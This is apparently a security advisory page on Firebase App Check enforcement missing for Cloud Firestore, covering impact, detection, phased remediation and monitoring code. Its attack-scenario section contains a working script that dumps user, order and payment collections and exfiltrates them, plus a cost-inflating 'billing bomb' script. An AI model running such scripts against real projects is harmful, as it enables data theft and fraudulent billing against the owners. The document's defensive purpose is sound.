Skip to content

Firebase App Check: Enforcement Not Enabled for Cloud Firestore

Name: App Check Enforcement Not Enabled for Cloud Firestore

Applicable Services: Cloud Firestore, Firebase App Check

Description

Critical Service Protection Gap

The Configuration Flaw: App Check enforcement has not been enabled for Cloud Firestore, meaning that even if App Check is configured for client applications, Firestore requests are not being validated against App Check tokens.

Intended Behavior: When App Check enforcement is enabled for Firestore, all requests must include a valid App Check token proving they originate from a verified app instance. Without enforcement, this critical protection layer is bypassed.

The Risk: Unprotected Firestore instances are vulnerable to abuse from bots, scripts, and tampered applications, potentially leading to data breaches, billing fraud, and service disruption.

Impact

Severe Data and Financial Consequences

Missing App Check enforcement for Firestore creates multiple attack vectors:

  • Data Exfiltration: Attackers can systematically download all accessible Firestore data
  • Data Corruption: Malicious actors can modify or delete critical business data
  • Billing Fraud: Automated scripts can generate excessive read/write operations
  • Spam Injection: Bots can flood collections with spam or malicious content
  • Service Degradation: Resource exhaustion attacks can impact legitimate users
  • Compliance Violations: Unprotected databases may violate data protection regulations

Example Attack Scenarios

Exploit Scenario: Automated Firestore Data Mining

This attack demonstrates how missing App Check enforcement enables large-scale data extraction.

The Vulnerable Configuration:

# App Check shows Firestore enforcement as "UNENFORCED"
$ gcloud app-check services list
SERVICE                   ENFORCEMENT_MODE
firestore.googleapis.com  UNENFORCED
storage.googleapis.com    ENFORCED

Attack Steps: 1. Attacker discovers Firebase project configuration from client-side code 2. Creates automated script to systematically query Firestore collections 3. Bypasses App Check validation since enforcement is disabled 4. Extracts all accessible data based on security rules 5. Sells or exploits sensitive user information

Data Mining Script:

// Malicious data extraction script - no App Check token required
import { initializeApp } from 'firebase/app';
import { getFirestore, collection, getDocs, query, limit, startAfter, orderBy } from 'firebase/firestore';

const firebaseConfig = {
  // Victim's configuration
  projectId: "vulnerable-app-12345",
  // ... other config extracted from client code
};

const app = initializeApp(firebaseConfig);
const db = getFirestore(app);

async function extractAllData() {
  const collections = ['users', 'orders', 'payments', 'messages'];
  const extractedData = {};

  for (const collectionName of collections) {
    console.log(`Extracting ${collectionName}...`);
    extractedData[collectionName] = [];

    // Paginated extraction to avoid memory issues
    let lastDoc = null;
    let hasMore = true;

    while (hasMore) {
      let q = query(
        collection(db, collectionName),
        orderBy('__name__'),
        limit(1000)
      );

      if (lastDoc) {
        q = query(q, startAfter(lastDoc));
      }

      const snapshot = await getDocs(q);

      if (snapshot.empty) {
        hasMore = false;
      } else {
        snapshot.forEach(doc => {
          extractedData[collectionName].push({
            id: doc.id,
            data: doc.data()
          });
        });

        lastDoc = snapshot.docs[snapshot.docs.length - 1];
        console.log(`Extracted ${extractedData[collectionName].length} documents from ${collectionName}`);
      }
    }
  }

  // Exfiltrate data to external server
  await uploadToMaliciousServer(extractedData);
  console.log('Data extraction complete');
}

// Execute the attack
extractAllData().catch(console.error);

Outcome: Attacker successfully extracts all user data, order history, and payment information without any App Check verification.

Exploit Scenario: Firestore Billing Bomb Attack

This scenario shows how attackers can deliberately inflate Firestore costs.

The Attack Strategy: 1. Identify Firestore without App Check enforcement 2. Create scripts to generate maximum billable operations 3. Focus on expensive operations (complex queries, large document writes) 4. Use distributed attack infrastructure to amplify impact

Billing Amplification Script:

async function amplifyFirestoreCosts() {
  const expensiveOperations = [];

  // Generate expensive read operations
  for (let i = 0; i < 10000; i++) {
    // Complex queries that consume many document reads
    const complexQuery = query(
      collection(db, 'products'),
      where('category', '==', `category_${i % 100}`),
      where('price', '>', Math.random() * 1000),
      orderBy('price'),
      orderBy('popularity'),
      limit(50)
    );

    expensiveOperations.push(getDocs(complexQuery));

    // Large document writes to consume storage and write operations
    const largeDocument = {
      timestamp: new Date(),
      largeArray: new Array(1000).fill(0).map(() => ({
        id: Math.random().toString(36),
        data: Math.random().toString(36).repeat(100),
        metadata: {
          created: new Date(),
          tags: new Array(20).fill(0).map(() => Math.random().toString(36))
        }
      }))
    };

    expensiveOperations.push(
      addDoc(collection(db, 'billing_spam'), largeDocument)
    );
  }

  // Execute all operations concurrently for maximum impact
  await Promise.allSettled(expensiveOperations);
}

// Run multiple instances in parallel
const attackInstances = [];
for (let i = 0; i < 50; i++) {
  attackInstances.push(amplifyFirestoreCosts());
}

Promise.allSettled(attackInstances);

Financial Impact: This attack can generate thousands of document reads and writes within minutes, potentially costing hundreds of dollars per hour.

Detection

Check App Check Enforcement Status

Firebase Console Method

  1. Go to Firebase Console → App Check → Products
  2. Look for "Cloud Firestore" in the services list
  3. Check the enforcement status:
  4. 🔴 Unenforced: App Check tokens are not required
  5. 🟡 Unenforced with metrics: Tokens validated but requests not blocked
  6. 🟢 Enforced: All requests must include valid App Check tokens

Using gcloud CLI

# Check App Check enforcement for all services
gcloud app-check services list

# Check specific Firestore enforcement status
gcloud app-check services describe firestore.googleapis.com

# Get detailed enforcement configuration
gcloud app-check services describe firestore.googleapis.com \
  --format="table(name:label='Service',enforcementMode:label='Enforcement')"

Using Firebase Admin SDK

const admin = require('firebase-admin');

async function checkFirestoreAppCheckStatus() {
  try {
    const serviceConfig = await admin.appCheck().getServiceConfig('firestore.googleapis.com');

    console.log('Firestore App Check Status:');
    console.log(`Enforcement Mode: ${serviceConfig.enforcementMode}`);
    console.log(`Service Name: ${serviceConfig.name}`);

    const isProtected = serviceConfig.enforcementMode === 'ENFORCED';
    console.log(`Protected: ${isProtected ? '✅ YES' : '❌ NO'}`);

    if (!isProtected) {
      console.warn('⚠️  WARNING: Firestore is not protected by App Check enforcement!');
    }

    return {
      protected: isProtected,
      enforcementMode: serviceConfig.enforcementMode
    };

  } catch (error) {
    console.error('Error checking Firestore App Check status:', error);

    if (error.code === 'NOT_FOUND') {
      console.warn('⚠️  App Check not configured for Firestore');
      return { protected: false, enforcementMode: 'NOT_CONFIGURED' };
    }

    throw error;
  }
}

Monitor for Unverified Requests

Cloud Functions Monitoring

// Monitor for requests missing App Check tokens
exports.monitorFirestoreAccess = functions.firestore
  .document('{collection}/{docId}')
  .onWrite(async (change, context) => {
    // Check if request includes App Check context
    if (!context.app) {
      // Log potential unauthorized access
      console.warn('Firestore write without App Check token:', {
        collection: context.params.collection,
        document: context.params.docId,
        timestamp: new Date().toISOString(),
        eventType: change.before.exists ? 'UPDATE' : 'CREATE'
      });

      // Alert security team for potential abuse
      await alertSecurityTeam({
        type: 'unverified_firestore_access',
        details: {
          collection: context.params.collection,
          operation: change.before.exists ? 'update' : 'create',
          timestamp: new Date().toISOString()
        }
      });
    }
  });

Analytics and Metrics

// Track App Check verification rates
async function analyzeAppCheckMetrics() {
  try {
    // Query Firebase Analytics or custom metrics
    const metrics = await getFirestoreAccessMetrics();

    const analysis = {
      totalRequests: metrics.totalRequests,
      verifiedRequests: metrics.verifiedRequests,
      unverifiedRequests: metrics.unverifiedRequests,
      verificationRate: metrics.verifiedRequests / metrics.totalRequests,
      suspiciousPatterns: []
    };

    // Identify suspicious patterns
    if (analysis.verificationRate < 0.8) {
      analysis.suspiciousPatterns.push('Low App Check verification rate');
    }

    if (metrics.unverifiedRequests > metrics.verifiedRequests * 0.1) {
      analysis.suspiciousPatterns.push('High volume of unverified requests');
    }

    // Check for request pattern anomalies
    const requestFrequency = metrics.requestsPerMinute;
    if (requestFrequency > metrics.baseline * 5) {
      analysis.suspiciousPatterns.push('Unusual request frequency spike');
    }

    return analysis;

  } catch (error) {
    console.error('Error analyzing App Check metrics:', error);
  }
}

Remediation

Step 1: Enable App Check Enforcement for Firestore

Using Firebase Console

  1. Navigate to Firebase Console → App Check → Products
  2. Find "Cloud Firestore" in the services list
  3. Click the toggle or "Enable" button next to Firestore
  4. Choose enforcement mode:
  5. Unenforced with metrics: Collect data without blocking requests (recommended for testing)
  6. Enforced: Block all requests without valid App Check tokens

Using gcloud CLI

# Enable App Check enforcement for Firestore
gcloud app-check services update firestore.googleapis.com \
  --enforcement-mode=ENFORCED

# Enable with metrics collection first (recommended)
gcloud app-check services update firestore.googleapis.com \
  --enforcement-mode=UNENFORCED

# Monitor metrics for 24-48 hours, then enforce
gcloud app-check services update firestore.googleapis.com \
  --enforcement-mode=ENFORCED

Using Firebase Admin SDK

async function enableFirestoreAppCheckEnforcement() {
  try {
    // Step 1: Enable metrics collection without enforcement
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'UNENFORCED'
    });

    console.log('✅ Firestore App Check metrics collection enabled');
    console.log('📊 Monitor metrics for 24-48 hours before full enforcement');

    // Step 2: After monitoring period, enable full enforcement
    // (Run this after reviewing metrics)
    // await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
    //   enforcementMode: 'ENFORCED'
    // });

    return true;

  } catch (error) {
    console.error('Error enabling Firestore App Check enforcement:', error);
    throw error;
  }
}

// Helper function to enable enforcement after metrics review
async function enforceFirestoreAppCheck() {
  try {
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'ENFORCED'
    });

    console.log('🛡️ Firestore App Check enforcement enabled');
    console.log('📊 Monitor for any issues and be ready to adjust if needed');

    return true;

  } catch (error) {
    console.error('Error enforcing Firestore App Check:', error);
    throw error;
  }
}

Step 2: Gradual Rollout Strategy

Phase 1: Metrics Collection

// Implement gradual rollout to minimize user impact
async function phase1_EnableMetrics() {
  console.log('Phase 1: Enabling App Check metrics collection...');

  await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
    enforcementMode: 'UNENFORCED'
  });

  // Set up monitoring
  await setupAppCheckMonitoring();

  console.log('✅ Metrics collection enabled. Monitor for 24-48 hours.');
}

async function setupAppCheckMonitoring() {
  // Create monitoring dashboard
  const monitoringConfig = {
    alerts: [
      {
        condition: 'app_check_verification_rate < 0.9',
        action: 'email_alert',
        recipients: ['security-team@company.com']
      },
      {
        condition: 'unverified_requests > 1000/hour',
        action: 'slack_alert',
        channel: '#security-alerts'
      }
    ]
  };

  await configureMonitoring(monitoringConfig);
}

Phase 2: Conditional Enforcement

// Phase 2: Selective enforcement based on request patterns
async function phase2_ConditionalEnforcement() {
  console.log('Phase 2: Implementing conditional enforcement...');

  // Enable enforcement only during high-risk periods
  const currentHour = new Date().getHours();
  const isHighRiskPeriod = currentHour < 6 || currentHour > 22; // Night hours

  if (isHighRiskPeriod) {
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'ENFORCED'
    });
    console.log('🛡️ Enforcement enabled during high-risk period');
  } else {
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'UNENFORCED'
    });
    console.log('📊 Metrics mode during normal business hours');
  }
}

Phase 3: Full Enforcement

// Phase 3: Enable full enforcement after successful testing
async function phase3_FullEnforcement() {
  console.log('Phase 3: Enabling full App Check enforcement...');

  try {
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'ENFORCED'
    });

    console.log('🛡️ Full App Check enforcement enabled for Firestore');

    // Set up comprehensive monitoring
    await setupProductionMonitoring();

  } catch (error) {
    console.error('Error in full enforcement phase:', error);

    // Rollback if needed
    await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
      enforcementMode: 'UNENFORCED'
    });

    throw error;
  }
}

Step 3: Handle Client-Side Integration

Ensure App Check Tokens in Client Applications

// Client-side: Ensure App Check is properly initialized
import { getToken } from 'firebase/app-check';

async function performFirestoreOperation() {
  try {
    // Verify App Check token before Firestore operations
    const appCheckToken = await getToken(appCheck, /* forceRefresh= */ false);

    if (!appCheckToken.token) {
      throw new Error('App Check token not available');
    }

    // Proceed with Firestore operation
    const docRef = doc(db, 'collection', 'document');
    const docSnap = await getDoc(docRef);

    return docSnap.data();

  } catch (error) {
    if (error.code === 'app-check/throttled') {
      console.warn('App Check throttled, implementing exponential backoff');
      await implementExponentialBackoff();
      return performFirestoreOperation(); // Retry
    } else if (error.code === 'app-check/fetch-token-error') {
      console.error('App Check token fetch failed:', error);
      throw new Error('Unable to verify app authenticity');
    } else {
      console.error('Firestore operation failed:', error);
      throw error;
    }
  }
}

async function implementExponentialBackoff() {
  const delay = Math.min(1000 * Math.pow(2, retryCount), 30000);
  await new Promise(resolve => setTimeout(resolve, delay));
}

Step 4: Production Monitoring and Alerting

Comprehensive Monitoring Setup

// Set up production monitoring for App Check enforcement
exports.monitorAppCheckEnforcement = functions.pubsub
  .schedule('every 5 minutes')
  .onRun(async (context) => {
    try {
      const metrics = await collectAppCheckMetrics();

      // Check for critical issues
      if (metrics.verificationRate < 0.8) {
        await sendCriticalAlert({
          type: 'low_app_check_verification_rate',
          rate: metrics.verificationRate,
          threshold: 0.8
        });
      }

      if (metrics.blockedRequests > 1000) {
        await sendAlert({
          type: 'high_blocked_requests',
          count: metrics.blockedRequests,
          timeframe: '5 minutes'
        });
      }

      // Store metrics for trending analysis
      await storeMetrics(metrics);

    } catch (error) {
      console.error('Error monitoring App Check enforcement:', error);
    }
  });

async function collectAppCheckMetrics() {
  // Collect metrics from various sources
  const metrics = {
    timestamp: new Date(),
    verificationRate: await getVerificationRate(),
    blockedRequests: await getBlockedRequestCount(),
    tokenFailures: await getTokenFailureCount(),
    serviceLatency: await getServiceLatency()
  };

  return metrics;
}

Prevention Best Practices

Configuration Management

  1. Infrastructure as Code: Use Terraform or Firebase CLI to manage App Check configuration
  2. Environment Consistency: Ensure App Check settings are consistent across environments
  3. Configuration Audits: Regularly review App Check enforcement settings
  4. Change Management: Implement approval processes for App Check configuration changes

Monitoring and Alerting

  1. Real-time Monitoring: Set up alerts for App Check verification failures
  2. Metrics Dashboard: Create dashboards to track App Check performance
  3. Anomaly Detection: Implement automated detection of unusual request patterns
  4. Incident Response: Define procedures for App Check-related security incidents

Testing and Validation

  1. Staging Environment: Test App Check enforcement in staging before production
  2. Gradual Rollout: Implement phased rollout to minimize user impact
  3. Fallback Plans: Prepare rollback procedures in case of issues
  4. User Experience: Monitor user experience metrics during enforcement activation

References